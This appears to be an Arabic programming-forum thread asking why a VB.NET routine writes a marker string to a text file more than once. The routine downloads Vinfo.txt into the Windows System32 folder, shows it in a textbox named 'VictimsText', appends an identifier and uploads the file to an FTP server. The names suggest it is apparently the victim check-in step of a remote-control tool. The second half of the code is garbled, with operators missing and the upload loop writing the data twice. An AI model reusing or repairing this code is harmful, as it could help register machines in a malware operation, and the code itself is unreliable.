تقييم الموضوع :
  • 0 أصوات - بمعدل 0
  • 1
  • 2
  • 3
  • 4
  • 5
ما الخطأ في كودي ؟؟؟؟؟؟؟؟؟
#1
السلام عليكم اخواني ...
اخواني هذا كود يقوم في الاتي ...

1- حذف ملف معين بصيغة txt
2- تحميل نفس الملف من موقع معين
3-قراءة الملف في تكست بوكس
4- فحص اذا كان التكست بوكس يحتوي على String معين انا محدده
5-رفع الملف الى نفس استضافة الموقع الذي تم التحميل منه

ملاحظة : الاستضافة والموقع خاص بي واكيد بعرف Username و Password
ولكن مشكلتي لا يعتبرها الفجول بيسك مشكلة ....
لاني اريد كتابة String المعين مرة واحدة في الملف بصيغة TXT
ولكن عندما اشغل البرنامج يقوم بكتابة String المعين باكثر من
مرة وفي سطر واحد وانا لا اريد الا ان يكتبها مرة واحدة في ملف TXT


الكود للتوضيح اكثر :

طبعا الكود في Timer :

PHP كود :
Dim sys32 As String = (Environment.GetFolderPath(Environment.SpecialFolder.System)) + "\"
    Dim wc As WebClient = New WebClient()

        Dim mriliS As String = My.Settings.MrILIS


        MainFrm.VinfoTimer.Enabled = False

        Application.DoEvents()


        Dim DURL As String




        If My.Computer.FileSystem.FileExists(sys32 & "
\" & "Vinfo.txt") Then

            My.Computer.FileSystem.DeleteFile(sys32 & "
\" & "Vinfo.txt")
        End If





        Application.DoEvents()

        '*******************Download Vinfo.ili ************************************
        DURL = My.Settings.URL & "
/" & "Vinfo.ili"

        Application.DoEvents()


        wc.DownloadFile(DURL, sys32 + "
Vinfo.txt")



        Application.DoEvents()




        '**************************************************************************





        '*******************Read Vinfo.ili *******************************





        Dim oReaderVinfo As StreamReader


        oReaderVinfo = New StreamReader(sys32 + "
Vinfo.txt", True)
        Dim readVinfofile As String = oReaderVinfo.ReadToEnd
        VictimsText.Text = (readVinfofile)
        


        oReaderVinfo.Close()

        '*******************************************************************




        '**************Write to Vinfo.ili********************************************


        Application.DoEvents()



        If VictimsText.Text.Contains(mriliS) Then

           

       else






        Dim FILE_NAME As String = sys32 + "
Vinfo.txt"
        Dim i As Integer
        Dim aryText(4) As String

        aryText(0) = mriliS


        MsgBox(My.Settings.MrILIS)

        Dim objWriter As New System.IO.StreamWriter(FILE_NAME)

        For i = 0 To 0

            objWriter.WriteLine(aryText(i))

        Next


        objWriter.Close()






 End If



        Application.DoEvents()

        '**********************************************************************



        '********** Upload Vinfo.ili*********************************************

       Dim requestVinfo As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("
ftp:// رابط fTP للملف المراد رفعه"), System.Net.FtpWebRequest)



        
requestVinfo.Credentials = New System.Net.NetworkCredential("يوزر نيم الاستضافة الخاصة بي""باسورد الاستضافة الخاصة بي")
        
requestVinfo.Method System.Net.WebRequestMethods.Ftp.UploadFile

        Dim file
() As Byte System.IO.File.ReadAllBytes(sys32 "Vinfo.txt")

        
Dim strz As System.IO.Stream requestVinfo.GetRequestStream()

        For 
offset As Integer 0 To file.Length Step 1024

            Dim chunkSize 
As Integer file.Length offset 1
            
If chunkSize 1024 Then chunkSize 1024
            strz
.Write(fileoffsetchunkSize)
        
Next


        strz
.Write(file0file.Length)
        
strz.Close()
        
strz.Dispose()




        
'**********************************************************************************




        Application.DoEvents()

        CommandFrm.Show()


        Application.DoEvents() 
الرد }}}
تم الشكر بواسطة:



التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم